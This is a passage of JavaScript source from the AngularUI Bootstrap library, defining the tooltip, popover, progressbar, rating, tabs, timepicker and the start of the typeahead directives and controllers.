cleanupLastIncludeContent(); $animate.enter(clone, elem); }); currentScope = newScope; currentElement = clone; currentScope.$emit('$includeContentLoaded', src); }, function() { if (thisChangeId === changeCounter) { cleanupLastIncludeContent(); scope.$emit('$includeContentError', src); } }); scope.$emit('$includeContentRequested', src); } else { cleanupLastIncludeContent(); } }); scope.$on('$destroy', cleanupLastIncludeContent); } }; }]) /** * Note that it's intentional that these classes are *not* applied through $animate. * They must not be animated as they're expected to be present on the tooltip on * initialization. */ .directive('uibTooltipClasses', ['$uibPosition', function($uibPosition) { return { restrict: 'A', link: function(scope, element, attrs) { // need to set the primary position so the // arrow has space during position measure. // tooltip.positionTooltip() if (scope.placement) { // // There are no top-left etc... classes // // in TWBS, so we need the primary position. var position = $uibPosition.parsePlacement(scope.placement); element.addClass(position[0]); } if (scope.popupClass) { element.addClass(scope.popupClass); } if (scope.animation()) { element.addClass(attrs.tooltipAnimationClass); } } }; }]) .directive('uibTooltipPopup', function() { return { replace: true, scope: { content: '@', placement: '@', popupClass: '@', animation: '&', isOpen: '&' }, templateUrl: 'uib/template/tooltip/tooltip-popup.html' }; }) .directive('uibTooltip', [ '$uibTooltip', function($uibTooltip) { return $uibTooltip('uibTooltip', 'tooltip', 'mouseenter'); }]) .directive('uibTooltipTemplatePopup', function() { return { replace: true, scope: { contentExp: '&', placement: '@', popupClass: '@', animation: '&', isOpen: '&', originScope: '&' }, templateUrl: 'uib/template/tooltip/tooltip-template-popup.html' }; }) .directive('uibTooltipTemplate', ['$uibTooltip', function($uibTooltip) { return $uibTooltip('uibTooltipTemplate', 'tooltip', 'mouseenter', { useContentExp: true }); }]) .directive('uibTooltipHtmlPopup', function() { return { replace: true, scope: { contentExp: '&', placement: '@', popupClass: '@', animation: '&', isOpen: '&' }, templateUrl: 'uib/template/tooltip/tooltip-html-popup.html' }; }) .directive('uibTooltipHtml', ['$uibTooltip', function($uibTooltip) { return $uibTooltip('uibTooltipHtml', 'tooltip', 'mouseenter', { useContentExp: true }); }]); /** * The following features are still outstanding: popup delay, animation as a * function, placement as a function, inside, support for more triggers than * just mouse enter/leave, and selector delegatation. */ angular.module('ui.bootstrap.popover', ['ui.bootstrap.tooltip']) .directive('uibPopoverTemplatePopup', function() { return { replace: true, scope: { uibTitle: '@', contentExp: '&', placement: '@', popupClass: '@', animation: '&', isOpen: '&', originScope: '&' }, templateUrl: 'uib/template/popover/popover-template.html' }; }) .directive('uibPopoverTemplate', ['$uibTooltip', function($uibTooltip) { return $uibTooltip('uibPopoverTemplate', 'popover', 'click', { useContentExp: true }); }]) .directive('uibPopoverHtmlPopup', function() { return { replace: true, scope: { contentExp: '&', uibTitle: '@', placement: '@', popupClass: '@', animation: '&', isOpen: '&' }, templateUrl: 'uib/template/popover/popover-html.html' }; }) .directive('uibPopoverHtml', ['$uibTooltip', function($uibTooltip) { return $uibTooltip('uibPopoverHtml', 'popover', 'click', { useContentExp: true }); }]) .directive('uibPopoverPopup', function() { return { replace: true, scope: { uibTitle: '@', content: '@', placement: '@', popupClass: '@', animation: '&', isOpen: '&' }, templateUrl: 'uib/template/popover/popover.html' }; }) .directive('uibPopover', ['$uibTooltip', function($uibTooltip) { return $uibTooltip('uibPopover', 'popover', 'click'); }]); angular.module('ui.bootstrap.progressbar', []) .constant('uibProgressConfig', { animate: true, max: 100 }) .controller('UibProgressController', ['$scope', '$attrs', 'uibProgressConfig', function($scope, $attrs, progressConfig) { var self = this, animate = angular.isDefined($attrs.animate) ? $scope.$parent.$eval($attrs.animate) : progressConfig.animate; this.bars = []; $scope.max = getMaxOrDefault(); this.addBar = function(bar, element, attrs) { if (!animate) { element.css({'transition': 'none'}); } this.bars.push(bar); bar.max = getMaxOrDefault(); bar.title = attrs && angular.isDefined(attrs.title) ? attrs.title : 'progressbar'; bar.$watch('value', function(value) { bar.recalculatePercentage(); }); bar.recalculatePercentage = function() { var totalPercentage = self.bars.reduce(function(total, bar) { bar.percent = +(100 * bar.value / bar.max).toFixed(2); return total + bar.percent; }, 0); if (totalPercentage > 100) { bar.percent -= totalPercentage - 100; } }; bar.$on('$destroy', function() { element = null; self.removeBar(bar); }); }; this.removeBar = function(bar) { this.bars.splice(this.bars.indexOf(bar), 1); this.bars.forEach(function (bar) { bar.recalculatePercentage(); }); }; //$attrs.$observe('maxParam', function(maxParam) { $scope.$watch('maxParam', function(maxParam) { self.bars.forEach(function(bar) { bar.max = getMaxOrDefault(); bar.recalculatePercentage(); }); }); function getMaxOrDefault () { return angular.isDefined($scope.maxParam) ? $scope.maxParam : progressConfig.max; } }]) .directive('uibProgress', function() { return { replace: true, transclude: true, controller: 'UibProgressController', require: 'uibProgress', scope: { maxParam: '=?max' }, templateUrl: 'uib/template/progressbar/progress.html' }; }) .directive('uibBar', function() { return { replace: true, transclude: true, require: '^uibProgress', scope: { value: '=', type: '@' }, templateUrl: 'uib/template/progressbar/bar.html', link: function(scope, element, attrs, progressCtrl) { progressCtrl.addBar(scope, element, attrs); } }; }) .directive('uibProgressbar', function() { return { replace: true, transclude: true, controller: 'UibProgressController', scope: { value: '=', maxParam: '=?max', type: '@' }, templateUrl: 'uib/template/progressbar/progressbar.html', link: function(scope, element, attrs, progressCtrl) { progressCtrl.addBar(scope, angular.element(element.children()[0]), {title: attrs.title}); } }; }); angular.module('ui.bootstrap.rating', []) .constant('uibRatingConfig', { max: 5, stateOn: null, stateOff: null, enableReset: true, titles : ['one', 'two', 'three', 'four', 'five'] }) .controller('UibRatingController', ['$scope', '$attrs', 'uibRatingConfig', function($scope, $attrs, ratingConfig) { var ngModelCtrl = { $setViewValue: angular.noop }, self = this; this.init = function(ngModelCtrl_) { ngModelCtrl = ngModelCtrl_; ngModelCtrl.$render = this.render; ngModelCtrl.$formatters.push(function(value) { if (angular.isNumber(value) && value << 0 !== value) { value = Math.round(value); } return value; }); this.stateOn = angular.isDefined($attrs.stateOn) ? $scope.$parent.$eval($attrs.stateOn) : ratingConfig.stateOn; this.stateOff = angular.isDefined($attrs.stateOff) ? $scope.$parent.$eval($attrs.stateOff) : ratingConfig.stateOff; this.enableReset = angular.isDefined($attrs.enableReset) ? $scope.$parent.$eval($attrs.enableReset) : ratingConfig.enableReset; var tmpTitles = angular.isDefined($attrs.titles) ? $scope.$parent.$eval($attrs.titles) : ratingConfig.titles; this.titles = angular.isArray(tmpTitles) && tmpTitles.length > 0 ? tmpTitles : ratingConfig.titles; var ratingStates = angular.isDefined($attrs.ratingStates) ? $scope.$parent.$eval($attrs.ratingStates) : new Array(angular.isDefined($attrs.max) ? $scope.$parent.$eval($attrs.max) : ratingConfig.max); $scope.range = this.buildTemplateObjects(ratingStates); }; this.buildTemplateObjects = function(states) { for (var i = 0, n = states.length; i < n; i++) { states[i] = angular.extend({ index: i }, { stateOn: this.stateOn, stateOff: this.stateOff, title: this.getTitle(i) }, states[i]); } return states; }; this.getTitle = function(index) { if (index >= this.titles.length) { return index + 1; } return this.titles[index]; }; $scope.rate = function(value) { if (!$scope.readonly && value >= 0 && value <= $scope.range.length) { var newViewValue = self.enableReset && ngModelCtrl.$viewValue === value ? 0 : value; ngModelCtrl.$setViewValue(newViewValue); ngModelCtrl.$render(); } }; $scope.enter = function(value) { if (!$scope.readonly) { $scope.value = value; } $scope.onHover({value: value}); }; $scope.reset = function() { $scope.value = ngModelCtrl.$viewValue; $scope.onLeave(); }; $scope.onKeydown = function(evt) { if (/(37|38|39|40)/.test(evt.which)) { evt.preventDefault(); evt.stopPropagation(); $scope.rate($scope.value + (evt.which === 38 || evt.which === 39 ? 1 : -1)); } }; this.render = function() { $scope.value = ngModelCtrl.$viewValue; $scope.title = self.getTitle($scope.value - 1); }; }]) .directive('uibRating', function() { return { require: ['uibRating', 'ngModel'], scope: { readonly: '=?readOnly', onHover: '&', onLeave: '&' }, controller: 'UibRatingController', templateUrl: 'uib/template/rating/rating.html', replace: true, link: function(scope, element, attrs, ctrls) { var ratingCtrl = ctrls[0], ngModelCtrl = ctrls[1]; ratingCtrl.init(ngModelCtrl); } }; }); angular.module('ui.bootstrap.tabs', []) .controller('UibTabsetController', ['$scope', function ($scope) { var ctrl = this, oldIndex; ctrl.tabs = []; ctrl.select = function(index, evt) { if (!destroyed) { var previousIndex = findTabIndex(oldIndex); var previousSelected = ctrl.tabs[previousIndex]; if (previousSelected) { previousSelected.tab.onDeselect({ $event: evt, $selectedIndex: index }); if (evt && evt.isDefaultPrevented()) { return; } previousSelected.tab.active = false; } var selected = ctrl.tabs[index]; if (selected) { selected.tab.onSelect({ $event: evt }); selected.tab.active = true; ctrl.active = selected.index; oldIndex = selected.index; } else if (!selected && angular.isDefined(oldIndex)) { ctrl.active = null; oldIndex = null; } } }; ctrl.addTab = function addTab(tab) { ctrl.tabs.push({ tab: tab, index: tab.index }); ctrl.tabs.sort(function(t1, t2) { if (t1.index > t2.index) { return 1; } if (t1.index < t2.index) { return -1; } return 0; }); if (tab.index === ctrl.active || !angular.isDefined(ctrl.active) && ctrl.tabs.length === 1) { var newActiveIndex = findTabIndex(tab.index); ctrl.select(newActiveIndex); } }; ctrl.removeTab = function removeTab(tab) { var index; for (var i = 0; i < ctrl.tabs.length; i++) { if (ctrl.tabs[i].tab === tab) { index = i; break; } } if (ctrl.tabs[index].index === ctrl.active) { var newActiveTabIndex = index === ctrl.tabs.length - 1 ? index - 1 : index + 1 % ctrl.tabs.length; ctrl.select(newActiveTabIndex); } ctrl.tabs.splice(index, 1); }; $scope.$watch('tabset.active', function(val) { if (angular.isDefined(val) && val !== oldIndex) { ctrl.select(findTabIndex(val)); } }); var destroyed; $scope.$on('$destroy', function() { destroyed = true; }); function findTabIndex(index) { for (var i = 0; i < ctrl.tabs.length; i++) { if (ctrl.tabs[i].index === index) { return i; } } } }]) .directive('uibTabset', function() { return { transclude: true, replace: true, scope: {}, bindToController: { active: '=?', type: '@' }, controller: 'UibTabsetController', controllerAs: 'tabset', templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/tabs/tabset.html'; }, link: function(scope, element, attrs) { scope.vertical = angular.isDefined(attrs.vertical) ? scope.$parent.$eval(attrs.vertical) : false; scope.justified = angular.isDefined(attrs.justified) ? scope.$parent.$eval(attrs.justified) : false; } }; }) .directive('uibTab', ['$parse', function($parse) { return { require: '^uibTabset', replace: true, templateUrl: function(element, attrs) { return attrs.templateUrl || 'uib/template/tabs/tab.html'; }, transclude: true, scope: { heading: '@', index: '=?', classes: '@?', onSelect: '&select', //This callback is called in contentHeadingTransclude //once it inserts the tab's content into the dom onDeselect: '&deselect' }, controller: function() { //Empty controller so other directives can require being 'under' a tab }, controllerAs: 'tab', link: function(scope, elm, attrs, tabsetCtrl, transclude) { scope.disabled = false; if (attrs.disable) { scope.$parent.$watch($parse(attrs.disable), function(value) { scope.disabled = !! value; }); } if (angular.isUndefined(attrs.index)) { if (tabsetCtrl.tabs && tabsetCtrl.tabs.length) { scope.index = Math.max.apply(null, tabsetCtrl.tabs.map(function(t) { return t.index; })) + 1; } else { scope.index = 0; } } if (angular.isUndefined(attrs.classes)) { scope.classes = ''; } scope.select = function(evt) { if (!scope.disabled) { var index; for (var i = 0; i < tabsetCtrl.tabs.length; i++) { if (tabsetCtrl.tabs[i].tab === scope) { index = i; break; } } tabsetCtrl.select(index, evt); } }; tabsetCtrl.addTab(scope); scope.$on('$destroy', function() { tabsetCtrl.removeTab(scope); }); //We need to transclude later, once the content container is ready. //when this link happens, we're inside a tab heading. scope.$transcludeFn = transclude; } }; }]) .directive('uibTabHeadingTransclude', function() { return { restrict: 'A', require: '^uibTab', link: function(scope, elm) { scope.$watch('headingElement', function updateHeadingElement(heading) { if (heading) { elm.html(''); elm.append(heading); } }); } }; }) .directive('uibTabContentTransclude', function() { return { restrict: 'A', require: '^uibTabset', link: function(scope, elm, attrs) { var tab = scope.$eval(attrs.uibTabContentTransclude).tab; //Now our tab is ready to be transcluded: both the tab heading area //and the tab content area are loaded. Transclude 'em both. tab.$transcludeFn(tab.$parent, function(contents) { angular.forEach(contents, function(node) { if (isTabHeading(node)) { //Let tabHeadingTransclude know. tab.headingElement = node; } else { elm.append(node); } }); }); } }; function isTabHeading(node) { return node.tagName && ( node.hasAttribute('uib-tab-heading') || node.hasAttribute('data-uib-tab-heading') || node.hasAttribute('x-uib-tab-heading') || node.tagName.toLowerCase() === 'uib-tab-heading' || node.tagName.toLowerCase() === 'data-uib-tab-heading' || node.tagName.toLowerCase() === 'x-uib-tab-heading' || node.tagName.toLowerCase() === 'uib:tab-heading' ); } }); angular.module('ui.bootstrap.timepicker', []) .constant('uibTimepickerConfig', { hourStep: 1, minuteStep: 1, secondStep: 1, showMeridian: true, showSeconds: false, meridians: null, readonlyInput: false, mousewheel: true, arrowkeys: true, showSpinners: true, templateUrl: 'uib/template/timepicker/timepicker.html' }) .controller('UibTimepickerController', ['$scope', '$element', '$attrs', '$parse', '$log', '$locale', 'uibTimepickerConfig', function($scope, $element, $attrs, $parse, $log, $locale, timepickerConfig) { var selected = new Date(), watchers = [], ngModelCtrl = { $setViewValue: angular.noop }, // nullModelCtrl meridians = angular.isDefined($attrs.meridians) ? $scope.$parent.$eval($attrs.meridians) : timepickerConfig.meridians || $locale.DATETIME_FORMATS.AMPMS, padHours = angular.isDefined($attrs.padHours) ? $scope.$parent.$eval($attrs.padHours) : true; $scope.tabindex = angular.isDefined($attrs.tabindex) ? $attrs.tabindex : 0; $element.removeAttr('tabindex'); this.init = function(ngModelCtrl_, inputs) { ngModelCtrl = ngModelCtrl_; ngModelCtrl.$render = this.render; ngModelCtrl.$formatters.unshift(function(modelValue) { return modelValue ? new Date(modelValue) : null; }); var hoursInputEl = inputs.eq(0), minutesInputEl = inputs.eq(1), secondsInputEl = inputs.eq(2); var mousewheel = angular.isDefined($attrs.mousewheel) ? $scope.$parent.$eval($attrs.mousewheel) : timepickerConfig.mousewheel; if (mousewheel) { this.setupMousewheelEvents(hoursInputEl, minutesInputEl, secondsInputEl); } var arrowkeys = angular.isDefined($attrs.arrowkeys) ? $scope.$parent.$eval($attrs.arrowkeys) : timepickerConfig.arrowkeys; if (arrowkeys) { this.setupArrowkeyEvents(hoursInputEl, minutesInputEl, secondsInputEl); } $scope.readonlyInput = angular.isDefined($attrs.readonlyInput) ? $scope.$parent.$eval($attrs.readonlyInput) : timepickerConfig.readonlyInput; this.setupInputEvents(hoursInputEl, minutesInputEl, secondsInputEl); }; var hourStep = timepickerConfig.hourStep; if ($attrs.hourStep) { watchers.push($scope.$parent.$watch($parse($attrs.hourStep), function(value) { hourStep = +value; })); } var minuteStep = timepickerConfig.minuteStep; if ($attrs.minuteStep) { watchers.push($scope.$parent.$watch($parse($attrs.minuteStep), function(value) { minuteStep = +value; })); } var min; watchers.push($scope.$parent.$watch($parse($attrs.min), function(value) { var dt = new Date(value); min = isNaN(dt) ? undefined : dt; })); var max; watchers.push($scope.$parent.$watch($parse($attrs.max), function(value) { var dt = new Date(value); max = isNaN(dt) ? undefined : dt; })); var disabled = false; if ($attrs.ngDisabled) { watchers.push($scope.$parent.$watch($parse($attrs.ngDisabled), function(value) { disabled = value; })); } $scope.noIncrementHours = function() { var incrementedSelected = addMinutes(selected, hourStep * 60); return disabled || incrementedSelected > max || incrementedSelected < selected && incrementedSelected < min; }; $scope.noDecrementHours = function() { var decrementedSelected = addMinutes(selected, -hourStep * 60); return disabled || decrementedSelected < min || decrementedSelected > selected && decrementedSelected > max; }; $scope.noIncrementMinutes = function() { var incrementedSelected = addMinutes(selected, minuteStep); return disabled || incrementedSelected > max || incrementedSelected < selected && incrementedSelected < min; }; $scope.noDecrementMinutes = function() { var decrementedSelected = addMinutes(selected, -minuteStep); return disabled || decrementedSelected < min || decrementedSelected > selected && decrementedSelected > max; }; $scope.noIncrementSeconds = function() { var incrementedSelected = addSeconds(selected, secondStep); return disabled || incrementedSelected > max || incrementedSelected < selected && incrementedSelected < min; }; $scope.noDecrementSeconds = function() { var decrementedSelected = addSeconds(selected, -secondStep); return disabled || decrementedSelected < min || decrementedSelected > selected && decrementedSelected > max; }; $scope.noToggleMeridian = function() { if (selected.getHours() < 12) { return disabled || addMinutes(selected, 12 * 60) > max; } return disabled || addMinutes(selected, -12 * 60) < min; }; var secondStep = timepickerConfig.secondStep; if ($attrs.secondStep) { watchers.push($scope.$parent.$watch($parse($attrs.secondStep), function(value) { secondStep = +value; })); } $scope.showSeconds = timepickerConfig.showSeconds; if ($attrs.showSeconds) { watchers.push($scope.$parent.$watch($parse($attrs.showSeconds), function(value) { $scope.showSeconds = !!value; })); } // 12H / 24H mode $scope.showMeridian = timepickerConfig.showMeridian; if ($attrs.showMeridian) { watchers.push($scope.$parent.$watch($parse($attrs.showMeridian), function(value) { $scope.showMeridian = !!value; if (ngModelCtrl.$error.time) { // Evaluate from template var hours = getHoursFromTemplate(), minutes = getMinutesFromTemplate(); if (angular.isDefined(hours) && angular.isDefined(minutes)) { selected.setHours(hours); refresh(); } } else { updateTemplate(); } })); } // Get $scope.hours in 24H mode if valid function getHoursFromTemplate() { var hours = +$scope.hours; var valid = $scope.showMeridian ? hours > 0 && hours < 13 : hours >= 0 && hours < 24; if (!valid || $scope.hours === '') { return undefined; } if ($scope.showMeridian) { if (hours === 12) { hours = 0; } if ($scope.meridian === meridians[1]) { hours = hours + 12; } } return hours; } function getMinutesFromTemplate() { var minutes = +$scope.minutes; var valid = minutes >= 0 && minutes < 60; if (!valid || $scope.minutes === '') { return undefined; } return minutes; } function getSecondsFromTemplate() { var seconds = +$scope.seconds; return seconds >= 0 && seconds < 60 ? seconds : undefined; } function pad(value, noPad) { if (value === null) { return ''; } return angular.isDefined(value) && value.toString().length < 2 && !noPad ? '0' + value : value.toString(); } // Respond on mousewheel spin this.setupMousewheelEvents = function(hoursInputEl, minutesInputEl, secondsInputEl) { var isScrollingUp = function(e) { if (e.originalEvent) { e = e.originalEvent; } //pick correct delta variable depending on event var delta = e.wheelDelta ? e.wheelDelta : -e.deltaY; return e.detail || delta > 0; }; hoursInputEl.bind('mousewheel wheel', function(e) { if (!disabled) { $scope.$apply(isScrollingUp(e) ? $scope.incrementHours() : $scope.decrementHours()); } e.preventDefault(); }); minutesInputEl.bind('mousewheel wheel', function(e) { if (!disabled) { $scope.$apply(isScrollingUp(e) ? $scope.incrementMinutes() : $scope.decrementMinutes()); } e.preventDefault(); }); secondsInputEl.bind('mousewheel wheel', function(e) { if (!disabled) { $scope.$apply(isScrollingUp(e) ? $scope.incrementSeconds() : $scope.decrementSeconds()); } e.preventDefault(); }); }; // Respond on up/down arrowkeys this.setupArrowkeyEvents = function(hoursInputEl, minutesInputEl, secondsInputEl) { hoursInputEl.bind('keydown', function(e) { if (!disabled) { if (e.which === 38) { // up e.preventDefault(); $scope.incrementHours(); $scope.$apply(); } else if (e.which === 40) { // down e.preventDefault(); $scope.decrementHours(); $scope.$apply(); } } }); minutesInputEl.bind('keydown', function(e) { if (!disabled) { if (e.which === 38) { // up e.preventDefault(); $scope.incrementMinutes(); $scope.$apply(); } else if (e.which === 40) { // down e.preventDefault(); $scope.decrementMinutes(); $scope.$apply(); } } }); secondsInputEl.bind('keydown', function(e) { if (!disabled) { if (e.which === 38) { // up e.preventDefault(); $scope.incrementSeconds(); $scope.$apply(); } else if (e.which === 40) { // down e.preventDefault(); $scope.decrementSeconds(); $scope.$apply(); } } }); }; this.setupInputEvents = function(hoursInputEl, minutesInputEl, secondsInputEl) { if ($scope.readonlyInput) { $scope.updateHours = angular.noop; $scope.updateMinutes = angular.noop; $scope.updateSeconds = angular.noop; return; } var invalidate = function(invalidHours, invalidMinutes, invalidSeconds) { ngModelCtrl.$setViewValue(null); ngModelCtrl.$setValidity('time', false); if (angular.isDefined(invalidHours)) { $scope.invalidHours = invalidHours; } if (angular.isDefined(invalidMinutes)) { $scope.invalidMinutes = invalidMinutes; } if (angular.isDefined(invalidSeconds)) { $scope.invalidSeconds = invalidSeconds; } }; $scope.updateHours = function() { var hours = getHoursFromTemplate(), minutes = getMinutesFromTemplate(); ngModelCtrl.$setDirty(); if (angular.isDefined(hours) && angular.isDefined(minutes)) { selected.setHours(hours); selected.setMinutes(minutes); if (selected < min || selected > max) { invalidate(true); } else { refresh('h'); } } else { invalidate(true); } }; hoursInputEl.bind('blur', function(e) { ngModelCtrl.$setTouched(); if (modelIsEmpty()) { makeValid(); } else if ($scope.hours === null || $scope.hours === '') { invalidate(true); } else if (!$scope.invalidHours && $scope.hours < 10) { $scope.$apply(function() { $scope.hours = pad($scope.hours, !padHours); }); } }); $scope.updateMinutes = function() { var minutes = getMinutesFromTemplate(), hours = getHoursFromTemplate(); ngModelCtrl.$setDirty(); if (angular.isDefined(minutes) && angular.isDefined(hours)) { selected.setHours(hours); selected.setMinutes(minutes); if (selected < min || selected > max) { invalidate(undefined, true); } else { refresh('m'); } } else { invalidate(undefined, true); } }; minutesInputEl.bind('blur', function(e) { ngModelCtrl.$setTouched(); if (modelIsEmpty()) { makeValid(); } else if ($scope.minutes === null) { invalidate(undefined, true); } else if (!$scope.invalidMinutes && $scope.minutes < 10) { $scope.$apply(function() { $scope.minutes = pad($scope.minutes); }); } }); $scope.updateSeconds = function() { var seconds = getSecondsFromTemplate(); ngModelCtrl.$setDirty(); if (angular.isDefined(seconds)) { selected.setSeconds(seconds); refresh('s'); } else { invalidate(undefined, undefined, true); } }; secondsInputEl.bind('blur', function(e) { if (modelIsEmpty()) { makeValid(); } else if (!$scope.invalidSeconds && $scope.seconds < 10) { $scope.$apply( function() { $scope.seconds = pad($scope.seconds); }); } }); }; this.render = function() { var date = ngModelCtrl.$viewValue; if (isNaN(date)) { ngModelCtrl.$setValidity('time', false); $log.error('Timepicker directive: "ng-model" value must be a Date object, a number of milliseconds since 01.01.1970 or a string representing an RFC2822 or ISO 8601 date.'); } else { if (date) { selected = date; } if (selected < min || selected > max) { ngModelCtrl.$setValidity('time', false); $scope.invalidHours = true; $scope.invalidMinutes = true; } else { makeValid(); } updateTemplate(); } }; // Call internally when we know that model is valid. function refresh(keyboardChange) { makeValid(); ngModelCtrl.$setViewValue(new Date(selected)); updateTemplate(keyboardChange); } function makeValid() { ngModelCtrl.$setValidity('time', true); $scope.invalidHours = false; $scope.invalidMinutes = false; $scope.invalidSeconds = false; } function updateTemplate(keyboardChange) { if (!ngModelCtrl.$modelValue) { $scope.hours = null; $scope.minutes = null; $scope.seconds = null; $scope.meridian = meridians[0]; } else { var hours = selected.getHours(), minutes = selected.getMinutes(), seconds = selected.getSeconds(); if ($scope.showMeridian) { hours = hours === 0 || hours === 12 ? 12 : hours % 12; // Convert 24 to 12 hour system } $scope.hours = keyboardChange === 'h' ? hours : pad(hours, !padHours); if (keyboardChange !== 'm') { $scope.minutes = pad(minutes); } $scope.meridian = selected.getHours() < 12 ? meridians[0] : meridians[1]; if (keyboardChange !== 's') { $scope.seconds = pad(seconds); } $scope.meridian = selected.getHours() < 12 ? meridians[0] : meridians[1]; } } function addSecondsToSelected(seconds) { selected = addSeconds(selected, seconds); refresh(); } function addMinutes(selected, minutes) { return addSeconds(selected, minutes*60); } function addSeconds(date, seconds) { var dt = new Date(date.getTime() + seconds * 1000); var newDate = new Date(date); newDate.setHours(dt.getHours(), dt.getMinutes(), dt.getSeconds()); return newDate; } function modelIsEmpty() { return ($scope.hours === null || $scope.hours === '') && ($scope.minutes === null || $scope.minutes === '') && (!$scope.showSeconds || $scope.showSeconds && ($scope.seconds === null || $scope.seconds === '')); } $scope.showSpinners = angular.isDefined($attrs.showSpinners) ? $scope.$parent.$eval($attrs.showSpinners) : timepickerConfig.showSpinners; $scope.incrementHours = function() { if (!$scope.noIncrementHours()) { addSecondsToSelected(hourStep * 60 * 60); } }; $scope.decrementHours = function() { if (!$scope.noDecrementHours()) { addSecondsToSelected(-hourStep * 60 * 60); } }; $scope.incrementMinutes = function() { if (!$scope.noIncrementMinutes()) { addSecondsToSelected(minuteStep * 60); } }; $scope.decrementMinutes = function() { if (!$scope.noDecrementMinutes()) { addSecondsToSelected(-minuteStep * 60); } }; $scope.incrementSeconds = function() { if (!$scope.noIncrementSeconds()) { addSecondsToSelected(secondStep); } }; $scope.decrementSeconds = function() { if (!$scope.noDecrementSeconds()) { addSecondsToSelected(-secondStep); } }; $scope.toggleMeridian = function() { var minutes = getMinutesFromTemplate(), hours = getHoursFromTemplate(); if (!$scope.noToggleMeridian()) { if (angular.isDefined(minutes) && angular.isDefined(hours)) { addSecondsToSelected(12 * 60 * (selected.getHours() < 12 ? 60 : -60)); } else { $scope.meridian = $scope.meridian === meridians[0] ? meridians[1] : meridians[0]; } } }; $scope.blur = function() { ngModelCtrl.$setTouched(); }; $scope.$on('$destroy', function() { while (watchers.length) { watchers.shift()(); } }); }]) .directive('uibTimepicker', ['uibTimepickerConfig', function(uibTimepickerConfig) { return { require: ['uibTimepicker', '?^ngModel'], controller: 'UibTimepickerController', controllerAs: 'timepicker', replace: true, scope: {}, templateUrl: function(element, attrs) { return attrs.templateUrl || uibTimepickerConfig.templateUrl; }, link: function(scope, element, attrs, ctrls) { var timepickerCtrl = ctrls[0], ngModelCtrl = ctrls[1]; if (ngModelCtrl) { timepickerCtrl.init(ngModelCtrl, element.find('input')); } } }; }]); angular.module('ui.bootstrap.typeahead', ['ui.bootstrap.debounce', 'ui.bootstrap.position']) /** * A helper service that can parse typeahead's syntax (string provided by users) * Extracted to a separate service for ease of unit testing */ .factory('uibTypeaheadParser', ['$parse', function($parse) { // 00000111000000000000022200000000000000003333333333333330000000000044000 var TYPEAHEAD_REGEXP = /^\s*([\s\S]+?)(?:\s+as\s+([\s\S]+?))?\s+for\s+(?:([\$\w][\$\w\d]*))\s+in\s+([\s\S]+?)$/; return { parse: function(input) { var match = input.match(TYPEAHEAD_REGEXP); if (!match) { throw new Error( 'Expected typeahead specification in form of "_modelValue_ (as _label_)? for _item_ in _collection_"' + ' but got "' + input + '".'); } return { itemName: match[3], source: $parse(match[4]), viewMapper: $parse(match[2] || match[1]), modelMapper: $parse(match[1]) }; } }; }]) .controller('UibTypeaheadController', ['$scope', '$element', '$attrs', '$compile', '$parse', '$q', '$timeout', '$document', '$window', '$rootScope', '$$debounce', '$uibPosition', 'uibTypeaheadParser', function(originalScope, element, attrs, $compile, $parse, $q, $timeout, $document, $window, $rootScope, $$debounce, $position, typeaheadParser) { var HOT_KEYS = [9, 13, 27, 38, 40]; var eventDebounceTime = 200; var modelCtrl, ngModelOptions; //SUPPORTED ATTRIBUTES (OPTIONS) //minimal no of characters that needs to be entered before typeahead kicks-in var minLength = originalScope.$eval(attrs.typeaheadMinLength); if (!minLength && minLength !== 0) { minLength = 1; } originalScope.$watch(attrs.typeaheadMinLength, function (newVal) { minLength = !newVal && newVal !== 0 ? 1 : newVal; }); //minimal wait time after last character typed before typeahead kicks-in var waitTime = originalScope.$eval(attrs.typeaheadWaitMs) || 0; //should it restrict model values to the ones selected from the popup only? var isEditable = originalScope.$eval(attrs.typeaheadEditable) !== false; originalScope.$watch(attrs.typeaheadEditable, function (newVal) { isEditable = newVal !== false; }); //binding to a variable that indicates if matches are being retrieved asynchronously var isLoadingSetter = $parse(attrs.typeaheadLoading).assign || angular.noop; //a function to determine if an event should cause selection var isSelectEvent = attrs.typeaheadShouldSelect ? $parse(attrs.typeaheadShouldSelect) : function(scope, vals) { var evt = vals.$event; return evt.which === 13 || evt.which === 9; }; //a callback executed when a match is selected var onSelectCallback = $parse(attrs.typeaheadOnSelect); //should it select highlighted popup value when losing focus? var isSelectOnBlur = angular.isDefined(attrs.typeaheadSelectOnBlur) ? originalScope.$eval(attrs.typeaheadSelectOnBlur) : false; //binding to a variable that indicates if there were no results after the query is completed var isNoResultsSetter = $parse(attrs.typeaheadNoResults).assign || angular.noop; var inputFormatter = attrs.typeaheadInputFormatter ? $parse(attrs.typeaheadInputFormatter) : undefined; var appendToBody = attrs.typeaheadAppendToBody ? originalScope.$eval(attrs.typeaheadAppendToBody) : false; var appendTo = attrs.typeaheadAppendTo ? originalScope.$eval(attrs.typeaheadAppendTo) : null; var focusFirst = originalScope.$eval(attrs.typeaheadFocusFirst) !== false; //If input matches an item of the list exactly, select it automatically var selectOnExact = attrs.typeaheadSelectOnExact ? originalScope.$eval(attrs.typeaheadSelectOnExact) : false; //binding to a variable that indicates if dropdown is open var isOpenSetter = $parse(attrs.typeaheadIsOpen).assign || angular.noop; var showHint = originalScope.$eval(attrs.typeaheadShowHint) || false; //INTERNAL VARIABLES //model setter executed upon match selection var parsedModel = $parse(attrs.ngModel); var invokeModelSetter = $parse(attrs.ngModel + '($$$p)'); var $setModelValue = function(scope, newValue) { if (angular.isFunction(parsedModel(originalScope)) && ngModelOptions && ngModelOptions.$options && ngModelOptions.$options.getterSetter) { return invokeModelSetter(scope, {$$$p: newValue}); } return parsedModel.assign(scope, newValue); }; //expressions used by typeahead var parserResult = typeaheadParser.parse(attrs.uibTypeahead); var hasFocus; //Used to avoid bug in iOS webview where iOS keyboard does not fire //mousedown & mouseup events //Issue #3699 var selected; //create a child scope for the typeahead directive so we are not polluting original scope //with typeahead-specific data (matches, query etc.) var scope = originalScope.$new(); var offDestroy = originalScope.$on('$destroy', function() { scope.$destroy(); }); scope.$on('$destroy', offDestroy); // WAI-ARIA var popupId = 'typeahead-' + scope.$id + '-' + Math.floor(Math.random() * 10000); element.attr({ 'aria-autocomplete': 'list', 'aria-expanded': false, 'aria-owns': popupId }); var inputsContainer, hintInputElem; //add read-only input to show hint if (showHint) { inputsContainer = angular.element('<div></div>'); inputsContainer.css('position', 'relative'); element.after(inputsContainer); hintInputElem = element.clone(); hintInputElem.attr('placeholder', ''); hintInputElem.attr('tabindex', '-1'); hintInputElem.val(''); hintInputElem.css({ 'position': 'absolute', 'top': '0px', 'left': '0px', 